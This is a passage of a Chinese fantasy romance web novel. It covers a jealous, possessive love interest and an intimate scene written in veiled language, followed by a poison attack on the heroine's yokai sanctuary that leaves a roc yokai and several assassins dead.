便被他按在结实的腿上。 她想站起来,他抓住她小臂,折在她的小腹处,紧紧抱住她, 阻止了她的动作。 白尘烬低下头, 鼻梁带着微凉的触感, 轻轻缠磨她的颈侧。 沈染星头皮发麻,不由侧开头:“你什么时候回到马车里的?” 他没有说话,只是一遍遍摩挲着她颈侧敏感的皮肤, 带来一阵阵细微的战栗。 他呼出的气息又重又热, 尽数喷洒在她裸.露的肌肤上, 带着一种难以言喻的焦渴和……依赖。 沈染星呼吸渐重,喉咙一阵发干,身体也有些发软。 他这是怎么了? 今日出门前,白尘烬虽未明说,但无声跟随在她身侧, 是陪她一同来的。 只是他素来神出鬼没, 不喜秦昭面前现身, 便在茶楼外等她。 当时他状态还挺平静的。 现下怎么突然变得激动不安。 想到此处, 沈染星一个激灵,反应过来。 那他……刚才就在马车里。 有没有看到秦昭突然拉住她手,在她耳边低语的那一幕? 虽然他们之间并无任何逾矩的行为,秦昭的动作也更多是出于紧急的警示,但落在不知情的人眼里, 尤其是落在他的眼里…… 沈染星的心跳莫名漏跳了一拍,随即又加速起来,一种混合着紧张、心虚的兴奋感悄然滋生。 她忍不住去想, 如果他看到了,会是什么反应? 是像上次那样,周身瞬间散发出能将人冻僵的冷气? 还是直接用那双灰蓝色的眼眸阴沉沉地盯着她,仿佛她做了什么十恶不赦的事情? 又或者……会更进一步? 一想到他可能因为这点刺激而醋意大发,打破那层冰冷的外壳,做出些更主动,甚至更过激的举动…… 沈染星就觉得脸颊有些发烫。 心底那点因为被国师盯上而产生的恐惧,竟然奇异地被这隐秘期待冲淡了些许。 游走在危险边缘,试探着他底线,期待着他因自己而情绪波动的感觉。 她就觉得……很刺激。 她甚至开始不着边际地想象,等他出现时,是会直接兴师问罪,还是会用另一种方式来宣示主权? 马车轱辘缓缓转动,驶离了茶楼。 然而,事实与沈染星想象中的大为不同。 白尘烬什么也没做,只是一路抱着她,直到回到城郊的妖院。 甚至她又问了几遍,白尘烬也还是不回答。 沈染星有些疑惑,但并未多想。 毕竟来日方长,她也不急于一时,更可况,他们还在马车上,与车夫只隔着一片帘子。 有些什么动静,很容易被听去。 一路上,她以为白尘烬渐渐冷静了下来,可她若是回头,便会发现—— 白尘烬一向平静阴冷的眼神已彻底疯狂,几乎失控。 回到妖院,刚踏进大门,一道白影如闪电般从旁边的花丛里窜出,精准地跳到了她的肩膀上。 “东家!”一个清脆又带着点奶气的声音在她脑海响起。 沈染星偏头一看,小雪貂精神正好,正用毛茸茸的小脑袋亲昵地蹭着她的脸颊。 小雪貂大脑里曾经两次被插入妖钉,差点变成任人操控的傀儡。 虽说沈染星及时救下了它,可它当时伤得很重,即便保住了性命,也伤了根本,体质变得极差,大部分时间都昏昏沉沉地睡着,难得有清醒的时候。 “今天精神这么好?”沈染星压下沉重的烦恼,伸手轻轻摸了摸它光滑的皮毛。 她能感觉到,小家伙今天的气息确实比以往要强健一些,一双晶蓝的小眼睛也格外有神。 “是明月姐姐这次找回来的药效果特别好!”小雪貂兴奋地在她肩膀上跳了跳,小爪子比划着,“我感觉好多了,虽然还是容易累,但至少不用整日里昏睡不醒了!” 之前为了调理小雪貂的伤势,沈染星和院里的大家没少费心,四处寻访灵药,但效果都微乎其微,只能勉强吊着它的元气。 直到前不久,纪明月不知从何处带回来一包药材,说是城里一位游历的隐世大夫开的方子,可以试试。 她们抱着死马当活马医的心态,给雪貂用了,这小半个月下来,效果虽然缓慢,却真真切切地看到了起色。 “有效果就好。”沈染星道,“等你好利索了,带你去后山玩儿。” 小雪貂高兴地应下,随后用小爪子抱住沈染星的一缕头发,声音低了下去:“东家,谢谢你救了我。要不是你们,我……我可能早就变成没有思想的傀儡,或者根本熬不过那些伤,死在伏妖居里了。” 它抬起头,黑亮的眼睛里映着沈染星的身影:“在这里真好。” 沈染星呆愣住了。 其实,第一次意识到被书中反派盯上后,她是有些后悔的。 她想她不该建立这个妖院,不该与那么多妖结契,她不是这本书的气运之子,根本无法与国师抗衡。 来到这个世界这么久,她一直觉得自己力量微薄,在各方势力的夹缝中艰难求生,时常感到疲惫和无力。 听了小雪貂真挚的话语,她首次直面了自己当下的处境,以及曾经的选择。 若是再给她一次机会,她会如何? 还无疑问,她还是做出同样的选择。 这个院子里,养着上百头大大小小的妖,若是没了她的庇护,下场根本不堪想象。 沈染星忽然意识到,原来在某个角落,在某个生命心中,她的存在是如此重要,她的努力真的能够改变一些东西。 沈染星边想着,边往里走,一进到院子,便听见了争吵声,跟炸开了锅似的。 “纪明月,你给我站住,” 雪拂一向吊儿郎当的语气,如今变得严肃,甚至冒着火。 他几步追上前面的冰冷身影,拦住去路,“招呼不打一声就玩消失,回来还板着张冷脸,给谁看呢,该不会是在外面找着了相好吧?” 纪明月脚步一顿,眼皮都懒得抬,冷冷道:“与你何干。” “嘶——”沈染星不敢动了,和小雪貂站在一旁,看得心惊胆战,却不打算出手相劝。 纪明月和雪拂时常因意见不合,各种吵架,不过吵得越凶,好得越快。 吵完之后又疯狂地肉.体交流。 他们把床头吵架床尾和发挥到了极致。 “与我何干?”雪拂夸张地拔高音调,重重呼吸几息,“我们好歹是同住一个屋檐下的搭档!你整天神神秘秘,独来独往,谁知道你在外面惹了什么麻烦会不会牵连到我?我看你就是想甩开我这个拖累,好去跟别人双宿双飞!” “荒谬。”纪明月不打算理他,躲开就要离开,“凭空捏造,虚空打靶。” “我捏造?我打靶?”雪拂气得指尖都在抖,“那你倒是说说,你前几日去哪了?为什么……” 他话还没说完,原本躲在沈染星衣襟里的小雪貂突然探出脑袋。 它唯恐天下不乱,用小爪子指着纪明月,尖声尖气地学舌:“偷偷摸摸,偷偷摸摸!” 雪拂顿了一下,指着他们,更加理直气壮地看向纪明月,“你看,连这小雪貂都这般说了,你不打算解释解释吗?” 纪明月的脸色似乎更冷了几分,周围的温度都像下降了好几度。 沈染星搓了搓手臂,一抬头,就对上了纪明月的目光。 她举起双手:“我可什么都没说。” 又指着衣襟的小雪貂:“是它说的。” 纪明月收回视线,道:“我没什么好解释的,我有我自己的事。” 小雪貂跟在雪拂身边,性子变得活泼不少,甚至……活泼过了头。 它再次捣乱道:“心虚,心虚!” 雪拂双手抱臂,翻译道:“它说你心虚。” 纪明月再次看向沈染星:“东家。” 声音依旧没什么起伏,但明显带着赶紧管管的意味。 甚至用眼神威胁,若是不管,她就要用自己的铁血手段开罚了。 虽说她从未在妖院里用过那些手段,不过她总给沈染星一种她说到做到的感觉。 连小雪貂也怂了,缩起了脖子。 沈染星捂住衣襟里的小雪貂,抬手道:“你们继续,你们继续。” 说完,她想走的。 可是走不掉了。 沈染星被留下来评理了,被这一冷一热,一唱一和弄得头昏脑胀,感觉自己像是被架在了火上。 她看着一脸与我无关,又步步紧逼的纪明月,又看看戏精上身,不依不饶的雪拂,还有怀里这个看热闹不嫌事大的小东西…… 无奈地深深吸了一口气。 半刻钟后,沈染星好不容易从这一人一狐一貂的包围圈里,挣脱出一点缝隙,揉了揉发胀的太阳穴,试图理清头绪。 原来是今天难得有空,雪拂拉纪明月出去逛逛,散散心! 结果,在绸缎庄门口,有个不知哪来的女人,上来就跟他搭讪,夸他俊美,夸他衣裳好看,问他哪家铺子做的,眼神还黏黏糊糊的。 他都没来得及甩开那女人,一抬头,便瞧见纪明月,就跟没事人一样,站在旁边看布料,眼皮都没往他那边抬一下。 好像他被谁缠上都跟她没关系。 如果仅仅因此,倒也还不至于吵起来。 后来回到妖院,雪拂提出自己的不满,纪惊讶直接来一句:“若是你实在不高兴,那么你可以回妖域。” 这一句话,直接点炸了雪拂。 纪明月态度始终冷淡,甚至不像开玩笑,雪拂更气了。 听完前有后果,沈染星这下总算听明白了。 根源在于雪拂觉得纪明月对他太过冷漠。 而纪明月似乎天生就是这种性子。 不过,她真的不在意吗? 还是说,正因为在意,才必须用冷漠来伪装? 沈染星也看不透,心里叹了口气。 这一个像火,一个像冰,似乎无法真正融洽,可又无法离开彼此,只能这般相爱相杀,每隔一段时间,就闹得鸡飞狗跳。 她劝了小半天,才勉强把两人劝好。 沈染星在离开前,把小雪貂留下了,有第三方,两人或许可以好好冷静一下。 她回到卧室,反手刚将门关上。 眼前骤然一暗。 一段素帛微凉,带着熟悉冷冽气息的,无声无息地从上方覆下,严严实实地蒙住了她的双眼。 沈染星猛地一愣,下意识就想回头,可下颌却被一只骨节分明的手从身后牢牢扣住,力道不轻,迫使她维持着原本的姿势。 与此同时,眼上的素帛也被利落地收紧系牢。 视野彻底陷入一片黑暗。 在失去视觉的瞬间,其他的感官被无限放大。 她清晰地感受到了身后那人身上传来的独特气息。 混合着冰雪初融的凛冽,侵略性气息此刻正汹涌弥漫开的,极具压迫感。 这气息比以往任何一刻都要浓烈,从四面八方涌来,形成一个紧密的包围圈,将她困在中央,带着一种近乎围剿的态势。 沈染星心头一跳,一个念头不受控制地冒了出来:他这是……想通了?还是被白天秦昭那个小小的动作,彻底刺激到了? 就在这时,白尘烬低沉冷冽的声音,紧贴着她的耳廓响了起来:“我杀不了秦昭,但我可以废了他一只手。” 他的声音平静得可怕,仿佛在陈述一个既定事实。 沈染星愣住了,完全没料到他开口的第一句话,竟会是这个。 要废了秦昭的手? “为什么?”她几乎是脱口而出,声音带着微颤。 “既然他自己管不好,那便没必要留着了。” 白尘烬的气息喷在她的耳垂,带来一阵战栗。 沈染星明白了。 是因为秦昭拉了她的小臂…… 就因为这个,他竟然就要废了秦昭一只手?! 沈染星顿时觉得头皮一阵发麻。 “其实那也是事出有因的,”她试图解释,声音因眼前的黑暗和颈间的禁锢,而显得有些虚,“他不是故意的……” 更让她头皮发麻的是,以秦昭的身份和背后的势力,白尘烬若真伤了他,必然要付出难以想象的惨重代价。 就为了这么一点小事,他到底是怎么想的,这根本不划算。 白尘烬显然不满意这个解释,扣在她下颌的手指微微收紧,声音更冷:“他就是故意的,你知道他想做什么吗?” “他想提醒我一些危险?” 沈染星努力让自己的声音听起来平静,其实她心里也清楚,商人逐利,秦昭的目的绝不会像表面那么简单纯粹。 她努力思考着:“其实无论他实际目的如何,总归是帮了我……” 她接下来的话,没能再说出口。 因为白尘烬低下头,带着克制的力道,不轻不重,咬在了她敏感的脖颈上。《 》 50-60 第51章 我离不开你 沈染星浑身一颤。 不仅因为脖间淡淡的刺痛, 白尘烬似乎再用力一些就会抵进肉里,也因不可忽视的湿热触感。 但她很快就不再注意这些细节。 白尘烬把她抱了起来。 失重感传来,又失去视线,她下意识楼上他的脖颈。 这一搂, 接触到的, 是脖颈上赤.裸的肌肤, 灼热的,滚烫的。 他居然解开了素帛? 如今缠绕在她眼上的,不会就是…… 沈染星惊讶, 伸手便要扯下遮眼的素帛。 白尘烬把她放到榻上, 扣住了她手腕, 阻止她的动作。 即便看不见,沈染星也隐隐察觉到白尘烬露骨的视线,纵使她一向主动,也难免一阵脸热。 沈染星衣襟微松,素色长帛松松缠绕着她, 透着一种倦怠的美感, 仿佛所有的纠葛与故事, 都藏在那欲坠不坠的柔软织物之间。 “无论秦昭有无其他目的, ”白尘烬淡淡道,“对于他而言,最重要的,是让你离开我。” 可能因为在他语气平淡,冷静, 动作却暴戾而充满占有欲,这种反差最有攻击性。 沈染星吞咽了一下,心跳漏了一拍:“所以, 这是你敌对他的原因吗?” 白尘烬沉吟片刻,没有正面回应:“不过,他永远也不会得逞。” 话音落下,沈染星脖间一热,白尘烬又吻了下来。 随之而来的,是心口一凉。 她今日穿了一件水绿褙子,内穿月白交领,衣带本就有些松了,衣襟轻而易举就粗暴扯开。 温热的湿润渐渐往下。 沈染星仰头顶在软枕上,肩颈泛起潮红,双手抵住他的肩,呼吸乱得一塌糊涂。 他那克制似乎又松动了些……可真的太惑了。 失去了视觉,其余的触感会被放大。 沈染星感到白尘烬的呼吸喷洒,慢慢往下移,所到之处,泅出一片红痕。 他偶尔会吻下来,大多时候,则只是克制轻轻触碰一下,带来轻微的痒意。 她伸过手去,想把五指插入他的头发,白尘烬却一把扣住,按了在榻上,陷入软垫里。 接下来发生的事情,愈发超出了沈染星的可控范围。白尘烬不知从何处学来的这一招,将碰不碰,把她高高吊起来,再轻轻吻一下。 沈染星在浑浑噩噩间沉浮,不知何时,百褶裙堆叠在腰间,如色彩艳丽的海浪,一浪又一浪。 她是很喜欢他手的。手指修长,关节突出,显得硬朗有力,当它静止时,看上去沉重而稳定,一旦动作,则能感到一种内敛而精准的力量。 他手上的力量不仅可以执剑裁决生死,还可以轻易拧断一个人的脊椎,更可以让她让她方寸大乱,心颤神迷。 沈染星断断续续道:“我离不开你,那你也不会离开……” 白尘烬没让她继续说下去。 沈染星也忘记了自己要说些什么,双目甚至失神了一瞬。 在她压抑的声音里,他连呼吸再也克制不住,愈发粗重,重重喷在了她的耳垂处。 他半个身子压制着她,头埋在她脖颈间,却不许她碰他。 沈染星有些奇怪,却也没多余心思去思考。 水声激溅,浪头毫无征兆地从四面八方掀起,杂乱地碰撞、粉碎,溅起漫天浑浊的飞沫。 甚至没有节奏,只有一片喧嚣的混沌。 沈染星紧紧揪着压着软枕,收回一丝神思:“白尘烬……” 她的话让他的呼吸紊乱了一瞬,却依旧没有松开她。 沈染星不知道他为什么这样忌讳她触碰他。 只知道他牢牢把她把控住,压抑自己,却对她的反应极尽讨好……让人极致沉沦。 狂风骤雨后,再次风平浪静时,她几乎躺在一片狼藉之中。 白尘烬的禁锢消失,覆在眼上的素帛也倏尔松了。 素帛被抽离之际,沈染星按住了。 按她对他的理解,这时候他该躲着她了,甚至一会素帛离开,恢复视线,她连人也见不到。 沈染星隔着松散的素帛,捂着眼睛,道:“是不是我不可以看到完整的你,那么我先不摘下来,你别走。” 白尘烬一言不发,可她知道他在。 似乎才过了几息,又似乎过了很久。 白尘烬低哑地“嗯”了一声。 沈染星顺着声音,张开双臂,撞入他怀里,环住他腰身。 他没躲。 她脸上绽开了笑意。 白尘烬垂眼,静静看着她。 其实她一点也不了解他,无论是心,身份,还是血统。 她不了解,所以表现出来的勇敢让他觉得匪夷所思。 他不能以真面目示人,甚至不敢和她靠得太近,本以为保持着一定的距离,便可以永远保持现在的相伴关系。 可那对于她而言,是不足够的。 她时常让他觉得,两人即便做到最后一步,也没关系的,她不会离开他的。 但是他不敢赌,若是赌输了,他管得住她人,却管不了她的心,他担心自己会忍不住把她练成傀儡。 可呆滞的傀儡,没了这封鲜活,还是她吗? 他会伤害她,留在他身边,其实并不是一个好的选择。 相比起他,秦昭对她而言,更加合适。 秦昭也可以保护她,可以和她一起经营生意,甚至两人的志趣相投,相谈甚欢。 她似乎没有任何理由留在他身边。 他们的阻碍只有他,他不会放手,无论使用多卑劣的手段,变成多卑鄙的人,他也不会放弃她。 沈染星完全没有想到 ,白尘烬会突然抚摸的她的脊椎。 她吓了一跳,浑身血液瞬间冻结,梗着脖子:“你捏过那么多人的脊椎,是不是我的算是上乘?” 不然,怎么总是喜欢触摸她的脊椎…… 白尘烬视线从她脸上,游离到了她的脊背。 光线下,她的脊背汗湿如细腻的缎子,脊骨节节微凸,像一串朦胧的珍珠,在滑腻的肌肤上勾勒出断续的,诱人的光痕。 他低哑地“嗯”了一声,顺着纹路描摹。 即便知道他不会动手,沈染星的生物本能还是让她止不住心惊,头皮发麻。 不用看,她几乎能想象出来白尘烬此时阴冷又疯狂的眼神。 他是一个随时失控的疯子。 可她似乎也不遑多让。 在这诡异的氛围里,她除了那生物本能的警惕,竟然有些……享受这种刺激。 不知是否因大半辈子因为心脏不好,过得索然无味,战战兢兢,如今遇上一个疯子,恰好可以给她带来心跳失速的感觉。 当然,她很爱惜生命。 白尘烬偏偏刚好与她的喜欢契合,她能感觉到他的危险,又明确知道,他不会实质性伤害她。 ……这简直让她着迷。 不过,适可而止是最好的。 若是玩过了,指不定会闹出什么失控的事来。 沈染星深吸一口气:“你知道我为什么会去找秦昭吗?” 他不说,可沈染星知道他是很在意的,在意得要命。 像个闷葫芦一般,这一次她主动提出来,也不期望他回应。 准备自顾自地解释。 “为什么?” 沈染星到了喉咙的话卡住,抬头,隔着素帛,看不见人,也试图把视线投射过去。 稀奇了,他居然开口问了。 沈染星解释道:“因为我不想和你分开……所以我在想办法。” 去见秦昭,除了三番五次拒绝不太好,其实也想着能否从他那里获取些什么信息。 秦昭虽然身处边境大城,却与皇家有着丝丝缕缕的关系,消息灵通,所以国师的势力涌入,他不可能察觉不到。 只是没想到秦昭的参与程度比她想的要深,甚至……可能是国师的人。 白尘烬没有说话,他的手自脊椎移到她额头,用指尖帮她把汗湿的一缕黑发推开。 沈染星道:“你知道国师吗,我们被他盯上了。” 白尘烬动作顿住,静静听着。 沈染星:“国师的御妖台研究出来暴力压制妖,驯服妖的方法,如今我们的做法和他的背道而驰,甚至会伤害到他的利益,所以国师是不会放过我们的。” 白尘烬不紧不慢,继续帮她捋着鬓间的头发。 可他的心跳却快了些许。 沈染星觉得奇怪,紧紧贴住他心口,他的心跳却又恢复正常了。 她不过多纠结,继续道:“所以我想知道,秦昭那边有没有我需要的消息,所以去见她。” 白尘烬迟迟没有回应,似乎对她所说的话不感兴趣。 她努力着解决可能阻碍着两人的危险,他却无动于衷,本想与他继续分享的心,一下子又冷了下来。 不再思考,注意力便落在了白尘烬的手上。 他的手顺着耳朵,腮边,下颌,脖子,一直往下,沈染星呼吸一滞,慌忙按住。 她还累着。 “你上哪学来的招式?”她突然对这个问题在意了起来。 按照她对他有了解,他对这方面应该没有涉猎才对,也的确,他的动作青涩,可偏偏每一步都精准踩到令她窒息的点。 白尘烬淡淡道:“青楼。” “嗯……” “嗯?!” 沈染星震惊地抬起头,脱口而出:“你去当过小官?什么时候的事?” 她眼眸覆着素帛,看不见白尘烬,同样,白尘烬也看不见她的眼神。 可他依旧有些顶不住她的视线,忍不住抽出她掌心的手,覆在她眼睛上。 白尘烬沉默片刻,道:“只是了解了男女之事。” 那段时日,身下无法控制,心也失了控,他去了茶楼听书,又看了不少杂书,还去青楼了解。 可这种做法不起任何作用,甚至使得他的症状愈发严重。 知晓男女之事后,一种陌生的、灼热的冲动在他血脉里生了根,再也无法平息。 他看向她时,目光总会不自觉地沉黯下去,在她纤细的颈线、微动的唇上反复流连。 他清楚地知道,只要他伸手,她绝不会闪躲。 这种全然的、沉默的许可,像最醇的酒,反而激起了他心底更深的掠夺欲。他想看她为他失神,想在她温顺的接纳里,确认自己独一无二的归属。 白尘烬一向很冷静,坦荡地对待这一心思。 此时,与沈染星提及,她的吃惊的反应,却让他看清了自己。 哪是什么坦荡,分明是借着她的纵容,在阴暗处滋生着见不得光的欲念。 她越是光明坦荡,就越照得他无所遁形。 他突然开始厌恶这样的自己。 也担心她开始厌恶他。 沈染星久久没说话,是因为极度的震撼。 他居然去青楼了解男女之事?为什么?总不能是来到她身边,被她养歪了吧。 她想要扯开眼上的素帛看他,可又担心他离开,那样的话,就更无法问清楚。 给自己做了一顿心理建设,沈染星才找回自己的声音:“你去做了什么?” 对他说话,她很少带着这般质问的语气。 白尘烬垂下眼睫。 他清楚地知道什么是光明正大,什么是君子所为。可偏偏对她,他只想做个小人,这种清醒地看着自己堕落的感觉,比纯粹的欲望更让他觉得自己卑劣不堪。 如今想想,或许他不该踏入那一座青楼,不该…… 他们之间,好像就悬在接下来的回答上。 那句话若是落下来,不必争吵,不必哭闹,就这么轻飘飘地,一切就都散了。 白尘烬直视她,不放过她脸上的任何细微的表情,声音平静到诡异,说出了那句话: “拿了几本书。” 沈染星从他怀里直起身子,眼上缠着素帛,面对着他。 白尘烬呼吸无意识放轻了。 她惊讶道:“就这?” 他低声应答:“嗯。” 还未等他继续说话,又听见她说道:“也给我看看呗,我也想看。” 第52章 是因为她? 白尘烬沉默片刻:“我烧掉了。” 自从知道更多后, 他更难抑制各种对她的欲望,便把那些书全毁掉了。 闻言,沈染星卡壳了一瞬,才意识到这个话题的怪异—— 他难道……是特意去了解这些的? 因为她平日里的撩拨? 这个猜想让沈染星心头一跳, 先前因误会而产生的怒气彻底消散了, 取而代之的, 是一种混合着难以置信和隐秘欢喜的好奇。 她甚至能感觉到自己唇角不受控制地想要上扬。 沈染星微微偏头:“白尘烬……” 她轻轻唤他名字,感觉到搂在她腰间的手收紧了一瞬,“你为什么要去青楼找那些书?” 他沉默着。 沈染星乘胜追击:“是因为我?” 白尘烬的呼吸节奏似乎乱了一拍。 “嗯……”她不肯罢休, “那你在看的时候, 想的是什么, 该不会也是我吧?” “闭嘴。”他终于开口,声音比刚才更加沙哑低沉。 可他这反应,无异于默认。 沈染星心头那股得意瞬间炸开,几乎要满溢出来。她非但没闭嘴,反而变本加厉, 带着点不依不饶的劲儿, 朝他靠过去。 “那为什么平日里还要躲着我呢?” 她一句接一句, 步步紧逼, 每一个字都像是最纤细的羽毛,精准地搔刮在他最不设防的神经上。 白尘烬并未释放,一直忍着,身体越来越僵硬,气息渐重, 甚至变得混乱、躁动。 他似乎完全没料到她会是这样反应,既不厌恶,也不抗拒, 反而兴致勃勃地追问起来,这让他所有预设的防备都落在了空处,乃至只剩下一种无所适从的窘迫。 偏偏他还不能动她。 沈染星靠回他怀里,还想开口时,他像是再也无法忍受般,猛地推开了她,紧接着,覆在她眼前的素帛瞬间被扯开。 光线猛地此来,沈染星下意识地闭了闭眼。 等她再睁开时,素帛已经缠回了白尘烬身上,只露出的一双眼眸,灰暗得可怕,充满了兽性,似乎要随时将她吞入腹中。 沈染星心猛地一跳。 果然,不知者无畏,如果她刚刚可以看到他的眼神,她绝对不敢那样逗弄。 白尘烬收回视线转身。 眼见他又要像往常一样,一受刺激就选择逃避,沈染星心头一急,想也没想就伸手,一把紧紧抓住了他还没来得及完全收回去的手腕。 “好了,我不说了,你别走。” 闻言,白尘烬动作顿住,转头看她。 此时,沈染星突然发现,他衣服虽然也有些凌乱,可比起她的,简直可以说是整洁得过分,只有衣袖晕着斑点水迹。 看着她的水迹,她有些脸热,挪开了视线。 这晚白尘烬没离开,沈染星洗漱过后,如同往常一般就寝休息了。 自那日后,似乎什么也没变,又似乎有什么悄无声息地变了。 沈染星和纪明月一同穿过庭院,正谈论着新院的选址,如今妖越来越多,这一处已经养不下了。 既然已经引起了反派的注意,沈染星也不再压着共声苑的发展。 经过后院那棵巨大的老槐树下时,两人都不由自主地停下了脚步。 树荫下,白尘烬正席地而坐,半靠在粗壮的树干上。 他一身靛青衣衫,眉眼柔和,周身那股慑人的煞气收更是敛得干干净净。 这便是那日之后最大的变化。 白尘烬的形象,愈发与书中的接近了。 甚至比书中的他,要更温和几分。 几只兔妖幼崽,毛茸茸的,有的正大胆在他腿边蹦跶,有的试图去够他垂落在一旁的缠绕着素帛的手,有的更是蜷着身体,躺在他怀里。 白尘烬闭眼休憩,既没有驱赶,也没有理会,只是任由这些小东西在他身边嬉闹。 阳光透过枝叶缝隙,在他身上投下斑驳的光影,柔和了他过于锋利的轮廓。 这画面,与他从前那生人勿近的形象,形成了巨大的反差。 就连纪明月冰冷的眼中,也闪过一丝讶异。 已经几日了,她依旧没能习惯白尘烬收敛起骇然气息的温柔模样。 沈染星看着白尘烬,唇角不自觉地上扬,心里像是被什么东西轻轻撞了一下,软得一塌糊涂。 他身上的改变细微却具体,她都一一看在眼里。 最让她心头触动的是,他做的这些,不是为了讨好,而是自然而然的习惯。 习惯了她喜欢的口味,习惯了她说话的节奏,甚至习惯了她的相处方式。 纪明月见她久久没有动作:“走吧,和门牙子约好时间了。” 沈染星点头,朝院门走去:“你看他,收起戾气的时候,还挺招小妖们喜欢的。” 纪明月没有评论,只是冷淡点了点头。 沈染星却不以为然,她心情颇好地整理了一下衣袖,一转头,对上了白尘烬眼睛。 不知他何时睁开了眼。 其实这一趟外出只是去城里转转,并无危险,见他要跟过来,她稍稍提高了音量:“我们出门一趟。” 她指了指他周围的小妖:“你好好看家,照顾好这些它们,别让它们闯祸。” 沈染星的声音清晰地传了过去,带着几分自然而亲昵的吩咐语气。 树下的白尘烬闻言,搭在膝上的手指动了一下。 他看着她,没有回应,却也没有跟过去。 与纪明月外出处理事务的一整天,沈染星不明缘由,有些心绪不宁,,像是心头萦绕着一层驱不散的薄雾。 尽管还有些事没处理,尽管纪明月再三阻止,她还是决定提前回去了。 这种莫名的焦躁,在她们下午返回共生苑时,达到了顶峰。 还未走到院门,远远地,沈染星的脚步便猛地顿住了,瞳孔骤然收缩。 此时正值秋日,虽已到草木凋零的时节,可妖院门外那些树木不如夏日时枝叶繁茂、苍翠欲滴。 却也未完全枯黄。 然而,此刻,她竟看到无数枯黄的树叶,正从院落内部飘飘悠悠地飞旋而出,如同下了一场不合时宜的,死气沉沉的黄雨。 那些落叶颜色黯淡,毫无生机,仿佛在一瞬间被某种力量抽干了所有生命力,带着一种诡异的寂静,铺满了门前的石阶,甚至还在不断向外蔓延。 一股寒意瞬间从沈染星的脚底窜上脊梁骨。 此时的场景她并不陌生。 刚穿来时,那池塘边,她头顶的老槐树也是这般,枝叶凋零,甚至还死了一地的夏蝉。 这毒落下,无论植物,动物,妖物,甚至是人,也难逃一劫。 沈染星心头狂跳,掏出帕子,捂住口鼻,就要往里冲。 “等等!”纪明月反应极快,一把用力拉住她的手臂,力道很大,沈染星踉跄了一下。 纪明月面色凝重,目光锐利,扫过那不断飘出落叶的院门,冷冷道:“不明情况,直接进去太危险了。” 沈染星被她拉住,焦急地回头:“我知道里面空气可能有毒,所以才要去救人和救妖。” 她不敢想象院里此刻是怎样一番光景。 纪明月坚持道:“等官府。” 沈染星看着纪明月冰冷的神色,并不吃惊,甚至有些恍然大悟。 从她感到不安开始,纪明月便一直安抚,如今想想,何尝不是在阻止她提前回来。 枯叶萧萧,飘了满天。 沈染星没有挣扎,静静看着纪明月,眼眶泛着红。 纪明月对上她的视线,心脏顿时像是被一只无形的手紧紧攥住。 她用力咬了咬下唇,强迫自己冷静。 可她还是不受控制地松开了手。 沈染星用帕子掩着口鼻,再不看她一眼,跨入了那死寂的院落。 纪明月松开的她手有些颤抖,紧紧握拳,抬脚跟了上前。 才进了院门,一道巨大的阴影裹挟着腥风,从院内的高空直直坠落。 “轰”的一声巨响,重重砸在她们面前不远处的青石地上,震得地面都微微颤动,枯黄的落叶被气浪激得四散纷飞。 沈染星惊得连退两步。 那坠落之物,赫然是之前被她放走的大鹏妖。 只是此刻它庞大的身躯上布满了狰狞的新伤,羽毛凌乱不堪,沾满了暗红的血迹,气息奄奄。 纪明月站在一侧,面色不显,却心头巨震,抬手摸了摸发间那根素色木簪上。 原本只是点缀着一抹暗红,此刻那红色竟如同活了过来一般,迅速蔓延、加深,变得鲜艳欲滴,最终化作一缕刺目的鲜血,顺着簪身缓缓流淌而下。 她瓷白的指尖沾上了猩红,诡异而凄艳。 但沈染星无暇他顾,并未发现纪明月的异常,全部注意力落在垂死的大鹏妖上。 她蹲下身子,想要碰它,又无从下手:“你……你怎么会这样?!” 大鹏妖艰难地转动着眼珠,看向她,喉咙里发出嗬嗬的,破碎的气音:“他们控制我……” 沈染星问:“谁?” 可大鹏妖似乎听不见,断断续续继续道:“对,对不起,我将毒扩散后,才恢复意识……” 沈染星怔怔地听着,他如此重伤至此,怕是和强硬挣脱束缚脱不开关系。 她声音有些发抖:“你可知道是什么毒?有解药吗?” 大鹏妖艰难地摇摇头:“不过我已经将大部分毒粉扇向了高空……” 沈染星站起身:“嗯,我进去看看。” “东家……”大鹏妖叫住了她。 她停下迈开的脚步,转头看它。 它已没了力气,声音很轻:“是因为你……人美心善……” 说完,它金色的瞳孔渐渐熄灭,没了生息。 都这般时候了,沈染星不明白它为何突然和她说这些无厘头的话,她没在管它,径直往里走。 刚踏进游廊里,她脚步一顿。 这才惊觉,它那是在回答从前她问的那个问题。 那个阳光很好的午后,她蹲在笼子外,托着腮帮子凑近它,笑问:“是因我人美心善吗?” 当时它满脸不可置信,并未回答。 这一次,它回答了,相较于从前,这是个迟来的答案,可放到当下,又是一个即时的回答。 看着萧条枯败院子,沈染星忽然觉得胸口有些闷,弯腰撑在石柱上,捂着心口,几乎喘不过气来。 背上按下一只手。 她回头,纪明月就站在身后。 那张平日里就没什么表情的脸,此刻更是绷得紧,下颌线都抿成了一条冷硬的直线。 可开口时,语气却无意放缓了几分,像是怕是刺激到她:“别自己吓自己,情况未必有多糟,走吧,我陪你进去看看。”—— 作者有话说:中秋节快乐呀[撒花][撒花][撒花] 第53章 他不曾用这样的眼神看她…… 沈染星没再看纪明月, 挥开了试图搀扶自己的手,踉跄着向院内走去。 青底软缎鞋上绣着绽放的白莲,明媚又张扬,踩在枯死的落叶上, 发出碎裂的脆响。 环境死寂, 声音格外刺耳。 平日里充斥耳边的啾啾鸟鸣, 小妖们的嬉闹追逐声……全都消失了。 越往里走,景象越是诡异。 众人精心打理的花圃,那些曾经争奇斗艳的花草, 此刻全部化作了黑黄的枯枝, 风一吹, 就簌簌掉落。 不见任何一只小妖的踪影,不见任何一个人,这里的生物,就像凭空蒸发了一样。 沈染星手脚发软,只能强撑着, 加快了脚步。 纪明月沉着脸色, 紧紧跟在她身后。 一路上, 沈染星目光疯狂地扫过每一个角落, 从倒塌的假山到紧闭的房门,试图找到一点那些小妖躲起来的踪迹。 可除了满院的枯萎,什么都没有。 她的共生苑,她一手建立起来的家,此刻像一个被洗劫一空, 又被恶意摧毁的巢穴。 所有人都不见了,只留下一片死寂。 它们是被抓走了? 会不会……在别处遭遇了不测? 未知的,空茫的恐惧袭来, 沈染星手脚发凉,连哭的心思都没了。 所有的努力,所有的坚持,在这样莫测而强大的敌人面前,显得如此苍白无力。大鹏的牺牲,仿佛只是一个开始。 如她猜测的那般,才踏入后院,便看见了……散落各处的尸体。 这些人身着夜行衣,横七竖八地倒在庭院中、回廊下,大约有十数人,死状各异,有的喉骨碎裂,有的胸口塌陷,显然经历过一场极其惨烈的战斗。 沈染星只是机械地往里走,甚至冷静得诡异。 与她的冷静相对,纪明月心中却是骇浪滔天。 